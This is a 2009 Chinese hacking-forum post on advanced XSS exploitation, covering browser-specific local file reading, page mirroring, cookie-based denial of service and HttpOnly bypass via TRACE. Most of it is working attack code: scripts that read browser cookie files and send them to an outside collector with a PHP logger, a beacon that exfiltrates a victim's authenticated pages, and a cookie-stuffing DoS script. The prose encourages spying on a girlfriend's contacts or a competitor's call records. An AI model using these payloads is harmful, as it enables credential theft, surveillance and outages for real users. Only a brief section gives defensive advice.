XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页. R0 _5 u3 w7 A* j5 _4 J
本帖最后由 racle 于 2009-5-30 09:19 编辑
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; r) b" l, K, l/ `! M bXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页 V% u- a) S: M' `
By racle@tian6.com
4 V5 O5 Z( t# ^; C N4 Thttp://bbs.tian6.com/thread-12711-1-1.html+ G9 z3 U) n: J, T1 ]
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------0 r; }6 M. j; ?7 ^3 d# k6 L! N
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! M* m9 G/ Y1 ~$ {0 P4 f. w本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.+ q: ]( b7 Q3 `$ J4 E/ ]$ x9 p
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2 [8 s# t: x3 C }& r) \% o如果你还未具备基础XSS知识,以下几个文章建议拜读:9 h8 X! E3 w9 L3 ^
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介) f" H/ |* c H) V& Y
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
2 D5 T: n$ q0 i8 W) k( H/ X5 Q5 ihttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
) r) S; ^7 G! G8 k/ ] i9 G2 p1 H# C. Ehttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF+ @) l+ Y9 v6 @& C; e! @- _ K5 U
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
7 d, T- i- C" _5 u$ Phttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持$ F% ^8 e" P' q/ }5 A% z
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2 g9 t! z; ?& H- s1 p |/ v. k如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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3 V0 ~. i+ t. b& }1 M+ L0 C如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,. y; `6 A0 i0 ^
! L( A* M( C' U2 P* [Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大3 ?; D7 G; x6 g! x* L9 e/ i4 }
- D3 ~* e7 V4 pQQ ZONE,校内网XSS 感染过万QQ ZONE.1 h5 J' r8 B- j4 [) {
4 X: {; h5 o# n' dOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------2 u7 i: e# U$ [& M2 v
3 S" d& x3 P+ v \什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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- {* I' }3 |' t' q4 }跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.2 U1 A' s' {& S8 E6 [2 c* ]' V: N
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. I! ^- _: r8 A2 W7 }! n7 M" O7 n如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.* k1 J6 I) s$ [! Y- Y2 w) Z2 {
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
c* { v% R+ a) ]8 \% Q我们在这里重点探讨以下几个问题:
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4 U7 x8 Z3 J& }$ p1 通过XSS,我们能实现什么?9 A0 ]3 M& g8 t4 U* Q3 ^
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?9 Z/ X/ e/ d# _+ P# M8 D
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.# }% [3 B& T* g+ X5 c
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------------------------------------------研究正题----------------------------------------------------------6 a* a2 r9 l6 p. e! F/ x; _: t
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.! {$ v8 V- y1 J8 z/ V0 \
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫* h- Z, n0 }" P
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
+ |' R0 F( E) g4 {1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则." w# ~: g s9 v, f2 Z5 t
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
& p# X, U5 ~1 y3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
' X& a- y6 [! B/ V; M) M0 a3 Q4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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p; w! y' ?7 V; A- j 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。0 L ^; y, V: \. V) o: O
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
. m( O# a% s7 [1 D& Y复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}$ ]; L6 U Q$ S% Y9 \- y
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2 F; M X6 T* g. j; O. F function ajax_obj(){
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var request = false;0 y d. r. x/ }( c: S
$ [" p/ G; e) O' R5 v8 E if(window.XMLHttpRequest) {7 @! C( x: j) L
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request = new XMLHttpRequest();. C1 \% _, c; T/ g) h
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} else if(window.ActiveXObject) { }8 H" I. T( M
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3 I/ t& h% v9 e' ]; | 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];3 y+ l$ X9 z z/ e( }7 J
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for(var i=0; i<versions.length; i++) {, _9 c8 R) N% u3 m
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} catch(e) {}2 l g! A+ Y/ x9 R
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}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){: a, D* e, ~+ o$ Q) [- |& n3 J
8 y/ a# A$ Y" O7 I8 m& \2 x _x.open(_m,action,false);
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9 Q3 y: L7 _7 [9 i# ^ if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");/ o( N0 s! L/ b9 S4 z J1 s
8 y( N0 \1 O" z3 B8 } _x.send(argv);
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return _x.responseText;0 Z/ Y; \6 t/ a* B
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# u0 ^0 T) @- X9 Z. C5 K- a var txt=_7or3("GET","file://localhost/C:/11.txt",null);6 k# u- ?/ l# N U5 Q' S, c% r
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alert(txt);+ y8 J% l4 t* [7 k; `& f7 a6 H5 \' W
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</script>/ l b8 |" C, R6 M
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>7 N) J) }) }: W1 I- u
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function $(x){return document.getElementById(x)}; E9 t( [* Z" f: }
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var request = false;: ~! f+ q# p5 G) p9 o% E5 g2 P, N8 r5 q/ A
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if(window.XMLHttpRequest) {, C+ |: W$ Y0 G) v
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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for(var i=0; i<versions.length; i++) {8 a" `4 ^ g$ B7 G: R3 h
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try {
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request = new ActiveXObject(versions);% _$ Z1 p- g' c9 n5 V+ I: f
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}
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function _7or3(_m,action,argv){- r4 H7 k3 s9 i+ V/ X& l6 _
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_x.open(_m,action,false);
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# }: k! r$ n% j( C0 z if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;" v1 \% Z# A# `; W2 o' m6 q
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var txt=_7or3("GET","1/11.txt",null);
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alert(txt);$ r# ]/ i0 J6 z `! M" K
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</script>1 H4 `7 I" T6 \/ o8 _& q
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”4 `! K1 T% w6 a4 |2 b
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"7 F; n$ L, l" z. w$ b6 q6 @5 z! D* ]
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<?
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/* 3 [ L, {5 G$ C0 q
! H1 T3 z. h3 Y Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net ( i+ k6 n2 x% k- c# \2 Y; U$ [- ]
. Z+ j# K9 K1 _' r: S0 t author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ( `% E d. ~8 f' U6 |
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*/ $ Y. F2 n: p4 L; }7 H U
" [. J+ w. @1 t! }6 ~. f) l/ Nheader("Content-Disposition: attachment;filename=kxlzx.htm"); $ L1 |% y5 l5 t3 U X
& @# q3 ]% b3 M& w# p. xheader("Content-type: application/kxlzx"); 2 z0 F+ C0 [. [( O* s* G2 `
9 y' C V# g! P& `* z! D/*
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set header, so just download html file,and open it at local. 7 B: v* ?- j: x A6 h' ?# K
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$ A( B3 i& P9 E7 r/ Y! I9 {<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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% w7 K% ~3 x' ? <input id="input" name="cookie" value="" type="hidden"> 3 D( Z/ |7 a2 E. l
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</form>
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<script>
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function doMyAjax(user)
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{ 5 J$ v5 S8 U* F; O( u
/ Y+ l, U& H; R! Z$ O+ }9 Vvar time = Math.random(); , w, P4 Z$ d0 [6 k1 ?7 i( t6 C
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; L |; ~0 V5 bthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... 2 w! S) H' }6 u' d1 H& S" _
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# G. Q1 D; T+ s- b" Avar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; " t( }! r" h; z0 g% p
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startRequest(strPer); * V- @0 e! U( F/ N2 @' p
3 p' `! c. ^8 |% ~9 c; u3 J$ R; U3 u! ]0 {
, a8 _2 m" z, g2 e& q}
* u8 k8 J% v e6 n0 U" U- Y3 j& H& b; Q) r7 B
/ E% s4 [1 O* c- e
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function Enshellcode(txt) 1 u1 u) A5 ~: G" |* |
, X1 ~! h) I5 w/ b) v: X9 d{ ; I% z9 X# i6 C) j- w
9 a2 h1 X0 c; d- d7 svar url=new String(txt);
$ f: ?6 q' q6 o3 w0 q4 Y/ f" b6 Y6 z4 V; \; o* m
var i=0,l=0,k=0,curl=""; 3 u; F4 M1 ^/ g' i
$ ^* E! G1 n" S$ D3 |+ d' d4 H
l= url.length; 0 ?% I: F, ~$ y5 s, Y. o+ z
. K. k: Y w; c: @7 v5 R$ L" |for(;i<l;i++){
% Z* t; g* u: L5 a D* K
7 {0 u# |% V, Q1 h. Nk=url.charCodeAt(i);
* x( e2 i6 Q2 v
# B( B* u8 b' W' D& Pif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
6 m0 h8 c; ^5 d0 O2 z
- I# T4 m: E5 ]4 Tif (l%2){curl+="00";}else{curl+="0000";}
' \- P/ O N) t' Z2 O( I2 g( E' `
curl=curl.replace(/(..)(..)/g,"%u$2$1");
6 n8 ?( I; ]+ N1 [4 H5 ]) X4 Q' v+ R! [8 e) U/ X' ^
return curl;
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} 3 Y; f% H( Q) J, d, k3 F; C* T! ^
4 @1 R" T/ |/ _8 ]5 Y% G! ^$ D$ v. x3 k
+ F+ T# _, x; n! O- s
* y2 l$ T5 o: R$ V6 c
1 w1 T2 s! T. S/ O7 k
0 U4 w( c6 g" T& y4 L/ Nvar xmlHttp;
# D% w& R- w- X" s7 O6 P/ L6 p3 q/ p
function createXMLHttp(){
8 p- N0 l& f; {* y/ `. [) O
7 z; V( x7 T/ ~* ]- Z! Z; D3 j if(window.XMLHttpRequest){ - P! v j3 O7 @$ |, Z2 q9 p7 v
; [1 _$ Y. J, @) U2 A, f* G3 r# r& hxmlHttp = new XMLHttpRequest(); $ I `! G" p H7 U
% B j; ^% w, T" v. i" [3 u } 9 l, C8 j5 U; B! O- _
. l% h, ^8 [ Q3 _
else if(window.ActiveXObject){
! |5 x$ J' R# C! B" X7 R d% r5 |; w5 t! m: ?7 d
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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8 v- q# h: W( K$ t }
1 Q& x5 k8 W3 Q% a' {1 T- Z5 y# s$ T: ]& h+ G8 r5 \
}
2 J$ U: _1 H! x+ x ]" x" d9 {$ j. d" Q7 ]5 M' h8 e+ s
# h8 G5 m- a2 K. f: G: H) V" N E6 W d: P$ @
function startRequest(doUrl){ ; D- s* ^+ T' M* U" U
8 Y! U4 s& c6 J1 B9 x5 u: ^7 T
7 S% y3 G' I: G" R" B3 i
5 B Z$ {7 D* ^( r+ ] createXMLHttp();
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4 N6 A4 D- d- R3 @9 n# N% f0 W* n/ w. x# c* a8 A
xmlHttp.onreadystatechange = handleStateChange;
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# [7 M% K5 |9 {7 m! Q) H8 t
xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); % B2 @. a: \6 c. H3 @
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} 8 N% q/ \* x) R* y2 F5 T
1 G! t: U' Z0 u1 N1 ]$ T
4 y3 Q B4 L* P. E2 f
1 L- d7 n. p7 S2 d: W; N4 d+ Zfunction handleStateChange(){ # g7 K! l' ?& K; b6 P" @" q
5 y; S8 @7 {* ~) { s7 f' g
if (xmlHttp.readyState == 4 ){ 8 x; G5 Y: r* V' D+ C# m; h ~2 C
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var strResponse = ""; 2 N2 S% g/ \# I
' {/ z Q: g) q setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
1 z n8 ]- l, \5 ]; U
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4 Y. { B* Q9 M/ U v } * O# L' s+ |9 U: D; W- I7 z
/ a7 O7 L) x' ~* |
}
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* w4 W) \# r u2 h2 @
& R6 c0 d- N! g* S. Z" q+ R( |
g0 v& T1 |% ~9 k; s+ t. h+ q- Z4 c5 A1 S3 j8 U9 j+ I6 i8 {
function framekxlzxPost(text)
0 L+ L1 q, s" U
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document.getElementById("input").value = Enshellcode(text); 1 j. ^# [5 f4 I* ~; \ w7 k9 D
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document.getElementById("form").submit(); 0 T- ] g( `4 @0 a3 Y5 d3 Z- m' X
% N2 T6 {% k1 ?) c5 P' {4 h5 u% Z
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( i" L2 k5 E( L/ n- RdoMyAjax("administrator"); # t- U; T& L. [8 Z) z+ @2 Z
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</script># ~; k; N* q; o( U) k% i) v
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 9 \1 k* I' X- [& _8 ~! q( f
3 x$ @. N3 P9 r9 s# `var xmlHttp; 6 P9 l; v; {3 j& Z
& p) x' _/ K; Cfunction createXMLHttp(){
: s' ?' _/ q6 X+ W. O; V! }
% S3 M- k2 m2 E1 Z$ [! o3 Y& V" k if(window.XMLHttpRequest){ - V* ^- g1 L, {( {4 j
$ O5 ]6 B6 }' Y- v7 r' W2 E6 H2 Y
xmlHttp = new XMLHttpRequest();
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* y1 Q: z: q; N/ j }
# \2 ?2 X" z0 C( V/ u2 _8 L$ ^3 U! n# Y- W. h+ i/ M* g' ]; s* ?+ A
else if(window.ActiveXObject){
! O* o9 m* x/ m6 d1 x2 f3 |. e2 p. l4 t! e4 e$ d, R
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ( |6 X1 x- H! R9 S
& x0 }. T* {2 G0 F% U7 N0 ^6 y }
' ~: ?$ M6 T! ^: w) R/ T( g# O) W+ R2 n$ p
} , e( z+ N8 W2 V
* {( }2 {/ [0 Y" ^- d . |: C& h; w% V, C
: F8 i! E4 |# J) f }function startRequest(doUrl){
1 [1 w2 u! n& T# e1 H% F( b
0 E7 {% E% s) n' q" }1 z 9 z. x& O# d8 p$ K* A' g2 \
3 T. T3 Y3 S8 ~% e4 } createXMLHttp(); 1 H! ~4 p' O1 G, f D
7 A8 x$ \# O y0 V3 ] 8 ]; y9 T) I9 i) v" Z/ D* f
# T' A/ w* _: o- r3 F/ ^9 J& W4 \
xmlHttp.onreadystatechange = handleStateChange; . ^8 _& Z8 t: V
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xmlHttp.open("GET", doUrl, true);
6 G3 s! f" x. Z
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" E- D, l9 x$ x
! z, U$ _$ g$ P: P xmlHttp.send(null); ( p( _1 g# ^/ T# a
2 C. W N' K# s
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3 ]& v& I- p. U" S! y
: ]: _& h* o/ e) Z" z# B1 Z3 _& o% \- W+ }( o% M! l
function handleStateChange(){
* a) l! i4 n0 X- ^$ N$ S7 `" h1 t/ D _% W( \' x1 e% y3 b# N6 N+ t
if (xmlHttp.readyState == 4 ){ 9 ^. ]& y$ g& `; e1 x, _
F( a0 m- q' V7 U4 l! R& C
var strResponse = ""; + L" b2 N, r/ }4 v1 _
1 v- t: w7 l. l! ]( z setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
* R1 P1 L4 N( X/ v1 d* c. j, O# s: ?5 Y+ u( i, V. y. B% j0 j
4 Q( F$ o/ x t1 A5 @; v& ? w# @
# @. w1 {# M) ]) M: G
} ! {% I; j7 `$ H; x% \( V6 T
2 ~" W1 j0 `8 B, V. j. @7 s
}
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% A* M' @3 U) ]
) Q' V, B1 E0 b: F
5 N) N- K# L1 Q6 }6 gfunction doMyAjax(user,file) , U" _! j2 Y) y! W4 ?) v& H
: L P8 s0 G- {; N$ ~{
/ D% A" F6 M7 a& J
5 j2 K$ r* }6 R" m/ U var time = Math.random(); 3 l$ d# [! S7 N: v9 S" }
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9 w3 c5 z- m D/ @& d( D
& r* o' s. S: v% V2 G7 B' q/ K9 y& v var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
* A4 n: {1 T! w
& U* S% f& F# A8 Q( b, r 7 |; ~ {+ B4 \+ X6 e& u. L: V- X
; @# i! F& f! r7 ` h
startRequest(strPer); / l% Y: p2 y0 ?3 n! w6 G
- T. o9 x: S+ c6 ]
1 u- F) _" E1 J' g0 N, x
% V. X" y: [: Y) v& P7 |/ C" l} ; ~2 }' f" K1 p2 h! d+ M5 W9 w
8 e$ z0 _1 t( K 7 N4 ?, y$ j7 s3 L
& ]9 K+ F1 h3 n9 u8 ]) Ofunction framekxlzxPost(text)
; U+ U6 O0 n" c. w: i' _+ E0 f! N2 q( D. E( g
{ 0 V6 K& [% Y. i* G
5 }& m( ]' q2 @* b; t) w/ D( c) M document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); 9 Z" l3 ]0 C& `' g4 \5 }6 [* l( E; h
4 L$ t: }$ p) b6 f% }. n alert(/ok/);
0 A. k7 e6 J2 I* l y7 y3 d, C( C/ i# N. t: R8 ?* R( s
} 0 A7 d2 L- B' v3 C2 u+ K) Y; M
; D, U( o" _5 v/ {7 e
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doMyAjax('administrator','administrator@alibaba[1].txt');
6 H1 Y7 k/ V/ i, z! W% ~. H0 n0 c" ~+ ]
c3 {# ?) s& _8 o% U' A$ o7 m; i' h9 W+ W2 z; a
</script>+ [2 d3 e T/ P" T* B
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_( g% r" Q7 e2 ~* y
+ _7 u0 ]) {" D: S- V: m# j$ F7 T7 u; I, p$ Z2 c
& B8 L# r: L( J# ua.php" x3 D; M9 D- f4 ~) z
; U$ }1 i" j2 ~5 \
^: H( _' b# ?8 E9 l- n A1 ~
5 k- ~! t, ?* K/ b0 z1 Q<?php
) }6 y: z1 J9 C2 X8 i; {
4 y( M+ m. x. A/ e & i( t. E$ E% |: ^3 K* W2 D, ]
$ @; |5 t4 t- G5 J/ \" W# W0 w) ?
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
# [$ w! b6 p G5 M2 W8 n$ i1 c+ b% c; }3 W5 J
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; , ~, k/ F' h; l2 ?- l) i: |
* D2 f/ ~7 ~& m% e: k, n6 |
" F( b' z; X5 F @8 s( k Q/ O, I
5 L2 @, h3 o( m# Z$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
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fclose($fp); " V0 q X- j1 m2 ~9 t$ M" P- S
; p Q7 U/ Q6 ~9 V4 L E?>
3 ]& N6 _% A: H复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
1 x* }9 Y# S/ ]2 m* X" n1 {+ ~+ ]
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
$ Z. @0 N0 H1 b o7 \4 z& g, I/ W/ @# s1 n利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.. G* m1 C( Z0 x! z# [
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);& i% M- Y1 ~3 g, }4 {8 g% m6 z
' V* C! W h' }
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);; h0 r" v. @/ p% d( |9 k$ L
$ d# L* h# w/ O# T& \//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
* Q; {5 X; o' L, ^% m. b% k6 @$ J X# Q5 C. g8 L' X1 N& ]
function getURL(s) {* X: k6 L$ S- P: E" r. w
. {1 J/ u- i/ }% _ `
var image = new Image();
+ ], \4 I* d1 _ q# Q& m# w3 x/ [: P2 p
image.style.width = 0;
) D, |5 c+ k: f% f/ [
( O+ i! k1 l& R. H3 himage.style.height = 0;4 c+ k: \7 \0 A0 w
4 @5 W3 ^% O) q$ R$ R9 c
image.src = s;
$ t4 W" a& ^2 D; n+ f5 M, t7 `0 W8 {* z, M) S) y% Z: Z8 ]
}6 I/ V) I/ E5 {' z( `
( L- V5 {) N: YgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);! ^( P6 C0 W1 t3 {5 n- j# c3 {
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
8 y! @& j2 T& h; ^' t" _' K这里引用大风的一段简单代码:<script language="javascript">
9 N0 T7 {2 n: {$ {& f& [* o, w
# Q' ?" M% m' Y3 H; Qvar metastr = "AAAAAAAAAA"; // 10 A/ w9 n% U" T2 i) v) d( a4 ~1 R
5 R2 t1 u5 D) Uvar str = "";$ B7 d" J3 H& H* n/ n
. a: h; e2 Q1 _3 j( Z A' e
while (str.length < 4000){& a4 v2 y4 B2 O
) C8 {* y8 Q* I6 U& A" T9 i* t# Q str += metastr;
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m- [( n$ Y4 x6 U8 }/ g
) R3 M' U, O0 ]4 K h$ ]document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
5 {) z4 n5 \0 G0 u1 V) I/ m( s/ Q. j9 J% F V8 A! w7 b( V
</script>5 V) s) x7 G, u- I7 s
+ X7 q2 h t2 s- P% F
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html- X# ~4 }( |+ `, b. {2 s
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.! k- }: x2 T4 T, {6 M: {8 l
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150, @: u/ |- T5 t! ~
1 C! C) n- J. U# O6 A假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.9 U) h% H) q- n. E" ]# \$ h& g
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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7 Z5 O2 c6 C* C( `1 j$ k- V
6 i3 w3 v" e8 ]! u0 N7 q. `. g3 [(III) Http only bypass 与 补救对策:5 s8 K5 ?9 K5 }. g- Q$ M
$ L% K0 o5 z; R6 K6 d% b S: V什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
! r2 m. M# Z. G0 e3 w& ^" _" ~% x, s以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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<!--
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function normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);; m/ {7 d/ T( Z; u2 _
0 T+ j5 E" C4 Z# O( n' O% f}
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7 D4 M! b, `+ g3 e- F R
. k4 U5 d6 P3 j1 |" T2 \
: D8 _" o& N4 S! r
4 h+ \: Y' d% x/ P* I" m# [function httpOnlyCookie() { 6 t: ^5 ^3 ?# s1 v
A$ p1 \( t$ z) p W% I
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
; E2 P/ ~# u: @' v' J, [& V5 B( |/ T$ _
alert(document.cookie);}0 z- I4 L. U; j% W
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# O6 v: g. I3 o/ ^$ I* w8 z" v/ b+ V. e- }! B
//-->
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+ C$ i1 t' s* t</script>' R) X, i5 \5 D7 g' \" E4 B) T7 }
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7 \3 O" W# i& t/ H& U( I
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
& C o4 n+ N7 D$ O- n
, e+ d0 H' C, m1 v' x3 s/ s% P* o! Z<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>& B# s! t3 y, h& j7 s
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
* z$ h* K! I+ x- i8 K% ^: I/ v, W1 ?/ P2 f
4 w( w0 E9 ` t! n7 I
9 J! y/ S/ J2 j" @' e6 K" B% R9 Gvar request = false;
Z9 d1 G3 G/ @ Z2 o# l9 E% C- B* a2 k; b+ W, f' o) }
if(window.XMLHttpRequest) {' H/ p# L/ b' u
0 ?4 ]; w( \, ^9 X; a; q! p
request = new XMLHttpRequest();6 p' z. o! `( F. E& @ A
; G! x+ r( Y, `# p0 a4 C2 U; e if(request.overrideMimeType) { Z$ z) g9 P5 j* V6 Y" b
; P; Q/ `1 _, c7 F% v8 z* Q
request.overrideMimeType('text/xml');
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} else if(window.ActiveXObject) {
2 l7 Z' n7 h5 W4 ^ c/ a0 B6 C7 }* K# i! U) w
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! s6 _9 a- p; ?& q- Z/ J6 H
8 y! } W( I( c) z, L for(var i=0; i<versions.length; i++) {# q2 L3 i6 W9 \) _5 V' p& O
7 |" {9 ^: I- Q
try {
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. y7 C1 d4 L2 ?9 Y- b# I- t+ |5 \ request = new ActiveXObject(versions);
% E z8 p5 d5 i0 M% w& l; \1 R
, V' {5 E9 y2 ]9 e. [ } catch(e) {}
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* D* X4 k2 Y% W2 S7 M, T. l$ a3 O }: Y& T$ n3 G" e+ i' C$ F
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}, j/ M; U7 ~4 w: n9 B0 l
m$ O8 X: t( C
xmlHttp=request;: h* a: d# v$ a' z% W6 k$ b
# k- u" R- H6 h8 P" E
xmlHttp.open("TRACE","http://www.vul.com",false);
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9 S% j5 X S+ d |5 ?xmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;& `$ v7 @( r0 B4 T Y5 {
I( o \0 F. `/ Qalert(xmlDoc);
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</script>
8 i) ^+ }% ?. x复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>" g+ v/ w" Z6 L) z$ Q+ B" {4 N4 U V
2 E1 P% h, G8 S$ X: L5 k) ?9 U0 O
